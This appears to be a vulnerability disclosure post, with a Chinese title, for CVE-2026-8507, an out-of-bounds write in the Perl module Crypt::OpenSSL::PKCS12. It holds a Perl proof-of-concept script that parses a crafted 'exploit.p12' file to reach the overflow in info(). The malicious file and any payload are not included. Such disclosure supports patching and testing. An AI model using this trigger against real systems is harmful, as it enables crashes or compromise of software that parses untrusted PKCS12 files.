CVE-2026-8507: Crypt::OpenSSL::PKCS12越界写入致RCE

#!/usr/bin/perl use strict; use warnings; use Crypt::OpenSSL::PKCS12; # PoC Trigger for CVE-2026-8507 # Description: This script demonstrates the vulnerable code path. # It requires a crafted PKCS12 file with a large attribute (>1 GiB). my $filename = 'exploit.p12'; # In a real scenario, 'exploit.p12' is a malicious file containing # a SAFEBAG with an OCTET STRING attribute >= 1 GiB. print "Attempting to parse file: $filename\n"; eval { # Load the malicious PKCS12 file my $pkcs12 = Crypt::OpenSSL::PKCS12->new_from_file($filename); # The vulnerability is triggered here due to integer overflow # in size calculation passed to Renew(). my $info = $pkcs12->info(); # Alternatively: my $info_hash = $pkcs12->info_as_hash(); print "Parsing successful (Vulnerability likely patched)\n"; }; if ($@) { print "Exception caught: $@\n"; print "This may indicate a crash due to OOB write.\n"; }